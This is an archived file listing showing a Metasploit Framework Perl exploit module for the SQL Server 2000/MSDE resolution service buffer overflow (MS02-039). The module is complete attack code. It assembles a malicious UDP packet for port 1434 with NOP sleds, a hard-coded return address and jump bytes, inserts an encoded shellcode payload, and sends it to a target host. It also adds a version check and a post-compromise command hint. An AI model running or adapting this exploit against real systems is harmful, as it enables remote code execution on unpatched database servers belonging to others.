home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mssql2000_resolution.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  135 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::mssql2000_resolution;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16. my $info =
  17.   {
  18.     'Name'    => 'MSSQL 2000/MSDE Resolution Overflow',
  19.     'Version' => '$Revision: 1.37 $',
  20.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  21.  
  22.     'Arch'  => [ 'x86' ],
  23.     'OS'    => [ 'win32', 'win2000' ],
  24.     'Priv'  => 1,
  25.  
  26.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 1434],
  31.       },
  32.  
  33.     'Payload'  =>
  34.       {
  35.         'Space'  => 512,
  36.         'BadChars'  => "\x00\x3a\x0a\x0d\x2f\x5c",
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This is an exploit for the SQL Server 2000 resolution
  41.         service buffer overflow. This overflow is triggered by
  42.         sending a udp packet to port 1434 which starts with 0x04 and
  43.         is followed by long string terminating with a colon and a
  44.         number. This module should work against any vulnerable SQL
  45.         Server 2000 or MSDE install (pre-SP3).   
  46. }),
  47.  
  48.     'Refs'  =>
  49.       [
  50.         ['OSVDB',   '4578'],
  51.         ['MSB',     'MS02-039'],
  52.         ['MIL',     '44'],
  53.       ],
  54.  
  55.     'DefaultTarget' => 0,
  56.     'Targets' => [['MSQL 2000 / MSDE',   0x42b48774]],
  57.  
  58.     'Keys'  => ['mssql'],
  59.  
  60.     'DisclosureDate' => 'Jul 24 2002',
  61.   };
  62.  
  63. sub new {
  64.     my $class = shift;
  65.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  66.     return($self);
  67. }
  68.  
  69. sub Check {
  70.     my $self = shift;
  71.     my %r = Pex::MSSQL::Ping($self->GetVar('RHOST'), $self->GetVar('RPORT'));
  72.  
  73.     if (! keys(%r)) {
  74.         $self->PrintLine("[*] No response recieved from SQL server");
  75.         return $self->CheckCode('Safe');
  76.     }
  77.  
  78.     $self->PrintLine("SQL Server '". $r{'ServerName'} ."' on port ". $r{'tcp'});
  79.     return $self->CheckCode('Detected');
  80. }
  81.  
  82. sub Exploit {
  83.     my $self = shift;
  84.     my $target_host = $self->GetVar('RHOST');
  85.     my $target_port = $self->GetVar('RPORT');
  86.     my $target_idx  = $self->GetVar('TARGET');
  87.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  88.  
  89.     my $target = $self->Targets->[$target_idx];
  90.  
  91.     if (! $self->InitNops(128)) {
  92.         $self->PrintLine("[*] Failed to initialize the nop module.");
  93.         return;
  94.     }
  95.  
  96.     $self->PrintLine(sprintf("[*] Trying target %s with return address 0x%.8x", $target->[0], $target->[1]));
  97.  
  98.     # automatically restart sql server - thanks SK!
  99.     $self->PrintLine("[*] Execute 'net start sqlserveragent' once access is obtained");
  100.  
  101.     # \x68:888 => push dword 0x3838383a
  102.     my $request = "\x04" . $self->MakeNops(800) . "\x68:888" . "\x90" . $shellcode;
  103.  
  104.     # return address of jmp esp
  105.     substr($request, 97, 4, pack("V", $target->[1]));
  106.  
  107.     # takes us right here, with 8 bytes available
  108.     substr($request, 101, 8, "\xeb\x69\xeb\x69");
  109.  
  110.     # write to thread storage space ala msrpc
  111.     substr($request, 109, 4, pack("V", 0x7ffde0cc));
  112.     substr($request, 113, 4, pack("V", 0x7ffde0cc));
  113.  
  114.     # the payload starts here
  115.     substr($request, 117, 100, $self->MakeNops(100));
  116.     substr($request, 217, length($shellcode), length($shellcode));
  117.  
  118.     my $s = Msf::Socket::Udp->new
  119.       (
  120.         'PeerAddr'  => $target_host,
  121.         'PeerPort'  => $target_port,
  122.         'LocalPort' => $self->GetVar('CPORT'),
  123.       );
  124.     if ($s->IsError) {
  125.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  126.         return;
  127.     }
  128.  
  129.     $s->Send($request);
  130.  
  131.     sleep(1);
  132.     return;
  133. }
  134.  
  135.